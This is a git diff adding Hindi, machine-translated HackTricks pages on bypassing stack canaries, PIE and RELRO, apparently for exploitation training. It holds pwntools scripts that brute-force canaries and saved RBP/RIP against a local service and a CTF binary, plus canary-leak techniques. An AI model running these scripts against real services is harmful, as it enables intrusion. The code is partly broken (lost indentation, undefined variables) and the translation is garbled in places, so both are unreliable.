+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs सबमिट** करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md new file mode 100644 index 000000000..c0742b43b --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -0,0 +1,110 @@ +# स्टैक में BF पते + +
+ +जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* अगर आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
+ +**अगर आप एक कैनरी और PIE (Position Independent Executable) द्वारा संरक्षित बाइनरी का सामना कर रहे हैं तो शायद आपको उन्हें छलना होगा।** + +![](<../../../../.gitbook/assets/image (144).png>) + +{% hint style="info" %} +ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता कि एक बाइनरी को कैनरी द्वारा संरक्षित किया गया है अगर यह स्थिर रूप से कॉम्पाइल किया गया था और यह फ़ंक्शन को पहचानने की क्षमता नहीं है।\ +हालांकि, आप इसे मैन्युअल रूप से ध्यान दें अगर आपको लगता है कि किसी मानक कोल के शुरू में एक मान स्टैक में सहेजा गया है और इस मान की जांच प्रक्रिया समाप्त होने से पहले की जाती है। +{% endhint %} + +## ब्रूट-फ़ोर्स पते + +PIE को छलने के लिए आपको **कुछ पते लीक करने** की आवश्यकता है। और अगर बाइनरी को कोई पते नहीं लीक कर रहा है तो सबसे अच्छा काम है कि आप **वलनरेबल फ़ंक्शन में स्टैक में सहेजे गए RBP और RIP को ब्रूट-फ़ोर्स करें**।\ +उदाहरण के लिए, यदि एक बाइनरी को **कैनरी** और **PIE** दोनों का उपयोग करके संरक्षित किया गया है, तो आप कैनरी को ब्रूट-फ़ोर्स करना शुरू कर सकते हैं, फिर **अगले** 8 बाइट (x64) में सहेजे गए **RBP** होगा और **अगले** 8 बाइट में सहेजे गए **RIP** होगा। + +{% hint style="success" %} +समझना चाहिए कि स्टैक में वापसी पता मुख्य बाइनरी कोड का हिस्सा है, जो, यदि दुरुपयोग मुख्य बाइनरी कोड में स्थित है, तो आम तौर पर मामला होगा। +{% endhint %} + +बाइनरी से RBP और RIP को ब्रूट-फ़ोर्स करने के लिए आप यह तय कर सकते हैं कि एक मान्य अनुमानित बाइट सही है अगर कार्यक्रम कुछ आउटपुट करता है या यह केवल क्रैश नहीं होता। कैनरी को ब्रूट-फ़ोर्स करने के लिए प्रदान किए गए वही फ़ंक्शन RBP और RIP को ब्रूट-फ़ोर्स करने के लिए उपयोग किया जा सकता है: +```python +from pwn import * + +def connect(): +r = remote("localhost", 8788) + +def get_bf(base): +canary = "" +guess = 0x0 +base += canary + +while len(canary) < 8: +while guess != 0xff: +r = connect() + +r.recvuntil("Username: ") +r.send(base + chr(guess)) + +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() + +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base + +# CANARY BF HERE +canary_offset = 1176 +base = "A" * canary_offset +print("Brute-Forcing canary") +base_canary = get_bf(base) #Get yunk data + canary +CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary + +# PIE BF FROM HERE +print("Brute-Forcing RBP") +base_canary_rbp = get_bf(base_canary) +RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) +print("Brute-Forcing RIP") +base_canary_rbp_rip = get_bf(base_canary_rbp) +RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) +``` +आपको PIE को परास्त करने के लिए आखिरी चीज़ यह है कि **लीक हुए** पतों से **उपयोगी पतों की गणना करनी है**: **RBP** और **RIP**। + +**RBP** से आप **स्टैक में अपनी शैल कहाँ लिख रहे हैं** यह गणना कर सकते हैं। यह जानना बहुत उपयोगी हो सकता है कि आप स्टैक के अंदर _"/bin/sh\x00"_ स्ट्रिंग कहाँ लिखने जा रहे हैं। लीक हुए RBP और अपने शैलकोड के बीच की दूरी की गणना करने के लिए आप बस एक **ब्रेकपॉइंट डाल सकते हैं जब RBP लीक हो जाए** और चेक कर सकते हैं **कि आपका शैलकोड कहाँ स्थित है**, फिर, आप शैलकोड और RBP के बीच की दूरी की गणना कर सकते हैं: +```python +INI_SHELLCODE = RBP - 1152 +``` +**RIP** से आप **PIE बाइनरी का बेस पता** निकाल सकते हैं जिसे आपको एक **वैध ROP श्रृंखला बनाने की आवश्यकता है**। +बेस पता निकालने के लिए बस `objdump -d vunbinary` करें और डिसएसेंबल नवीनतम पते की जांच करें: + +![](<../../../../.gitbook/assets/image (145).png>) + +उस उदाहरण में आप देख सकते हैं कि सभी कोड को ढूंढने के लिए केवल **1 बाइट और आधा** आवश्यक है, फिर, इस स्थिति में बेस पता **लीकेड RIP लेकिन "000" पर समाप्त होने की आवश्यकता है**। उदाहरण के लिए अगर आपने `0x562002970ecf` लीक किया है तो बेस पता `0x562002970000` होगा। +```python +elf.address = RIP - (RIP & 0xfff) +``` +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)! + +दूसरे तरीके HackTricks का समर्थन करने के लिए: + +* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md new file mode 100644 index 000000000..39bc5183d --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md @@ -0,0 +1,39 @@ +# Relro + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
+ +## Relro + +**RELRO** का मतलब है **Relocation Read-Only**, और यह एक सुरक्षा सुविधा है जो बाइनरी में उपयोग की जाती है ताकि **GOT (Global Offset Table)** के ओवरराइट से जुड़े जोखिमों को कम किया जा सके। चलो इस अवधारणा को स्पष्टता के लिए इसके दो विभिन्न प्रकारों में विभाजित करें: **Partial RELRO** और **Full RELRO**। + +### **Partial RELRO** + +**Partial RELRO** सुरक्षा को बढ़ाने के लिए एक सरल दृष्टिकोण अपनाता है जिससे बाइनरी के प्रदर्शन पर प्रभाव नहीं पड़ता। **GOT को कारपोरेटिंग करने और भ्रष्ट करने से रोकने के लिए GOT को कार्यक्रम की मेमोरी में चरणों के ऊपर स्थित करके, Partial RELRO बफर ओवरफ्लो को GOT तक पहुंचने और भ्रष्ट करने से रोकने का उद्देश्य रखता है**। + +यह **किसी भी अनियमित लेखन** संक्रमणों से GOT का दुरुपयोग करने को रोकने में सफल नहीं है। + +### **Full RELRO** + +**Full RELRO** सुरक्षा को बढ़ाता है **जब GOT को पूरी तरह से केवल पढ़ने योग्य बनाया जाता है।** एक बाइनरी शुरू होते ही सभी फ़ंक्शन पतों को हल किया जाता है और GOT में लोड किया जाता है, फिर, GOT को केवल पढ़ने योग्य बनाया जाता है, जिससे किसी भी समय किसी भी संशोधन को रोका जा सकता है। + +हालांकि, Full RELRO के साथ व्यापार और स्टार्टअप समय के मामले में है। क्योंकि यह सभी डायनामिक प्रतीकों को स्टार्टअप पर हल करने की आवश्यकता होती है पहले GOT को पढ़ने योग्य बनाने से, **Full RELRO सक्षम बाइनरी में लंबे लोड समय का सामना कर सकती है**। यह अतिरिक्त स्टार्टअप ओवरहेड है जिसकी वजह से Full RELRO सभी बाइनरी में डिफ़ॉल्ट रूप से सक्षम नहीं है। + +यह देखना संभव है कि क्या बाइनरी में Full RELRO सक्षम है: +```bash +readelf -l /proc/ID_PROC/exe | grep BIND_NOW +``` +## बायपास + +यदि पूर्ण RELRO सक्षम है, तो उसे बायपास करने का एकमात्र तरीका यह है कि एक और तरीका ढूंढा जाए जिसको GOT टेबल में लिखने की आवश्यकता न हो और व्यापक क्रियान्वयन प्राप्त किया जा सके। diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md new file mode 100644 index 000000000..05ab215ef --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -0,0 +1,59 @@ +# स्टैक कैनेरीज + +
+ +जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** (https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके। + +
+ +## **स्टैकगार्ड और स्टैकशील्ड** + +**स्टैकगार्ड** एक विशेष मान जिसे **कैनेरी** के रूप में जाना जाता है, **ईआईपी (एक्सटेंडेड इंस्ट्रक्शन पॉइंटर)** से पहले डालता है, विशेष रूप से `0x000aff0d` (नल, न्यूलाइन, ईओएफ, कैरिज रिटर्न को प्रतिनिधित्व करता है) जिससे बफर ओवरफ्लो के खिलाफ सुरक्षा प्रदान करता है। हालांकि, `recv()`, `memcpy()`, `read()`, और `bcopy()` जैसे फ़ंक्शन अब भी संक्रमित हैं, और यह **ईबीपी (बेस पॉइंटर)** की सुरक्षा नहीं करता है। + +**स्टैकशील्ड** स्टैकगार्ड से एक और उन्नत दृष्टिकोण अपनाता है जिसमें एक **ग्लोबल रिटर्न स्टैक** बनाया गया है, जिसमें सभी रिटर्न पते (**ईआईपी** को) संग्रहीत हैं। यह सेटअप सुनिश्चित करता है कि कोई भी ओवरफ्लो हानि नहीं पहुंचाता है, क्योंकि यह संग्रहीत और वास्तविक रिटर्न पतों के बीच तुलना करने की अनुमति देता है ताकि ओवरफ्लो घटनाएं पता लगाई जा सकें। इसके अतिरिक्त, स्टैकशील्ड स्टैकशील्ड को भी दुर्भाग्यपूर्ण बना सकता है जैसे कि Return-to-libc, ROP (Return-Oriented Programming), या ret2ret जैसी तकनीकों के माध्यम से, इसका सुझाव देता है कि स्टैकशील्ड भी स्थानीय चरों की सुरक्षा नहीं करता। + +## **स्टैक स्मैश प्रोटेक्टर (ProPolice) `-fstack-protector`:** + +यह तंत्र **ईबीपी** के पहले एक **कैनेरी** रखता है, और स्थानीय चरों को पुनर्व्यवस्थित करता है ताकि बफर्स अन्य चरों को अधिक मेमोरी पतों पर स्थानित न करें। यह सुरक्षित रूप से उच्च मेमोरी पतों पर स्थानित स्थानीय चरों की अभिलेखित जानकारी की प्रतिलिपि बनाता है और इन प्रतिलिपियों का उपयोग तर्कों के रूप में करता है। हालांकि, यह 8 तत्वों से कम या उपयोगकर्ता की संरचना के भीतर बफर्स की सुरक्षा नहीं करता। + +**कैनेरी** एक यादृच्छिक संख्या है जो `/dev/urandom` से उत्पन्न होती है या एक डिफ़ॉल्ट मान `0xff0a0000` होता है। यह **टीएलएस (सूत्र स्थानीय संग्रहण)** में संग्रहीत होता है, जो धागे-स्थानीय स्थानों को धागा-विशेष सार्वभौमिक या स्थिर चरों की अनुमति देता है। ये चर आरंभ में कैनेरी रखने के लिए और अंत में इसकी अखंडता की पुष्टि करने के लिए इन फ़ंक्शन्स को पहचानता है जिनमें हमलों के लिए संक्रमित बफर्स होते हैं। + +जब एक वेब सर्वर `fork()` का उपयोग करता है, तो यह एक ब्रूट-फोर्स हमला संभावना बनाता है कि कैनेरी बाइट को बाइट से अनुमानित किया जा सकता है। हालांकि, `fork()` के बाद `execve()` का उपयोग मेमोरी स्थान को अधिलेखित कर देता है, जिससे हमला निराकरण हो जाता है। `vfork()` बच्चा प्रक्रिया को डुप्लिकेट बनाए बिना चलाने की अनुमति देता है, जब तक यह लिखने का प्रयास नहीं करता, जिसके बाद एक डुप्लिकेट बनाया जाता है, प्रक्रिया निर्माण और मेमोरी हैंडलिंग के लिए एक विभिन्न दृष्टिकोण प्रदान करता है। + +## बायपास + +**कैनेरी को लीक करना** और फिर इसे ओवरराइट करना (उदाहरण के लिए, बफर ओवरफ्लो) अपने ही मान के साथ। + +* अगर **कैनेरी बच्चा प्रक्रियाओं में फोर्क होती है** तो यह संभावना है कि इसे एक बाइट के रूप में **ब्रूट-फोर्स** किया जा सकता है: + +{% content-ref url="bf-forked-stack-canaries.md" %} +[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md) +{% endcontent-ref %} + +* यदि बाइनरी में कोई दिलचस्प लीक व्यवस्था है तो इसे लीक किया जा सकता है: + +{% content-ref url="print-stack-canary.md" %} +[print-stack-canary.md](print-stack-canary.md) +{% endcontent-ref %} + +
+ +जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** (https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके। + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md new file mode 100644 index 000000000..baa6b78c4 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -0,0 +1,117 @@ +# बीएफ फॉर्क्ड स्टैक कैनरीज़ + +
+ +जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) का खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके। + +
+ +**अगर आपके सामने एक कैनरी द्वारा संरक्षित बाइनरी है और PIE (पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल) तो आपको संभावित रूप से उन्हें उमकारने का एक तरीका ढूंढने की आवश्यकता होगी।** + +![](<../../../../.gitbook/assets/image (144).png>) + +{% hint style="info" %} +ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता कि एक बाइनरी को कैनरी द्वारा संरक्षित किया गया है अगर यह स्थैतिक रूप से कंपाइल किया गया था और यह फ़ंक्शन को पहचानने की क्षमता नहीं है।\ +हालांकि, आप इसे मैन्युअल रूप से नोट कर सकते हैं अगर आपको यह पता चलता है कि किसी मान को फ़ंक्शन कॉल की शुरुआत में स्टैक में सहेजा गया है और इस मान की जांच की जाती है पहले बाहर निकलने से पहले। +{% endhint %} + +## ब्रूट फ़ोर्स कैनरी + +एक साधारण कैनरी को उमकरने का सबसे अच्छा तरीका यह है कि यदि बाइनरी एक कार्यक्रम है **हर बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं तो चाइल्ड प्रक्रियाएँ फॉर्क करती हैं** (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट करते हैं **वही कैनरी उपयोग की जाएगी**। + +इसलिए, कैनरी को उमकरने का सबसे अच्छा तरीका यह है कि आप बस **चार से चार चरित्र को ब्रूट-फ़ोर्स करें**, और आप यह जान सकते हैं कि क्या अनुमानित कैनरी बाइट सही था या गलत बाइट केवल **जांच करके** कि क्या **सर्वर द्वारा एक प्रतिक्रिया** भेजी गई है (दूसरे स्थिति में एक **try/except** का उपयोग किया जा सकता है): + +### उदाहरण 1 + +यह उदाहरण 64 बिट के लिए लागू किया गया है लेकिन आसानी से 32 बिट के लिए लागू किया जा सकता है। +```python +from pwn import * + +def connect(): +r = remote("localhost", 8788) + +def get_bf(base): +canary = "" +guess = 0x0 +base += canary + +while len(canary) < 8: +while guess != 0xff: +r = connect() + +r.recvuntil("Username: ") +r.send(base + chr(guess)) + +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() + +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base + +canary_offset = 1176 +base = "A" * canary_offset +print("Brute-Forcing canary") +base_canary = get_bf(base) #Get yunk data + canary +CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary +``` +### उदाहरण 2 + +यह 32 बिट के लिए लागू किया गया है, लेकिन इसे आसानी से 64 बिट के लिए बदला जा सकता है।\ +इसके अलावा ध्यान दें कि इस उदाहरण के लिए **प्रोग्राम पहले एक बाइट की गुणवत्ता दर्शाने की उम्मीद करता है** और पेलोड। +```python +from pwn import * + +# Here is the function to brute force the canary +def breakCanary(): +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 + +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") + +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) + +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) + +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break + +# Return the canary +return known_canary + +# Start the target process +target = process('./feedme') +#gdb.attach(target) + +# Brute force the canary +canary = breakCanary() +log.info(f"The canary is: {canary}") +``` + diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md new file mode 100644 index 000000000..fe9c6f2a0 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -0,0 +1,49 @@ +# प्रिंट स्टैक कैनरी + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **PDF में HackTricks डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
+ +## मुद्रित स्टैक को बढ़ाएं + +एक **प्रोग्राम** की स्थिति की कल्पना करें जो **स्टैक ओवरफ्लो** के लिए **विकल्प** है जो **स्टैक ओवरफ्लो** के **हिस्से को दिखाने के लिए puts** फ़ंक्शन **को क्रियान्वित** कर सकता है। हमलावर जानता है कि **कैनरी का पहला बाइट एक शून्य बाइट है** (`\x00`) और कैनरी के बाकी भाग **रैंडम** बाइट्स हैं। फिर, हमलावर एक ओवरफ्लो बना सकता है जो **केवल कैनरी के पहले बाइट तक स्टैक को ओवरराइट** करता है। + +फिर, हमलावर **पेलोड के बीच में puts फ़ंक्शन** को **कॉल करता है** जो **कैनरी को सभी प्रिंट** करेगा (शून्य बाइट को छोड़कर)। + +इस जानकारी के साथ हमलावर नए हमले को **बनाने और भेजने के लिए एक नया हमला** भेज सकता है (उसी **प्रोग्राम सत्र** में कैनरी को जानते हुए)। + +स्पष्ट है कि यह तकनीक बहुत **प्रतिबंधित** है क्योंकि हमलावर को अपने **पेलोड** की **सामग्री** को **प्रिंट** करने की आवश्यकता है ताकि **कैनरी को बाहर निकाल** सके और फिर एक नया पेलोड (उसी **प्रोग्राम सत्र** में) बना सके और **वास्तविक बफर ओवरफ्लो** को **भेज** सके। + +**CTF उदाहरण:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) + +## अर्बिट्रेरी रीड + +एक ऐसे अर्बिट्रेरी रीड के साथ जैसे कि फॉर्मेट **स्ट्रिंग्स** द्वारा प्रदान किया गया हो, कैनरी लीक करना संभव हो सकता है। इस उदाहरण की जांच करें: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) और आप यहां पढ़ सकते हैं कि कैसे फॉर्मेट स्ट्रिंग्स का दुरुपयोग करके अर्बिट्रेरी मेमोरी पतों को पढ़ने के बारे में: + +{% content-ref url="../../format-strings/" %} +[format-strings](../../format-strings/) +{% endcontent-ref %} + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **PDF में HackTricks डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md new file mode 100644 index 000000000..eb191dea9 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md @@ -0,0 +1,170 @@ +# फॉर्मेट स्ट्रिंग्स + +
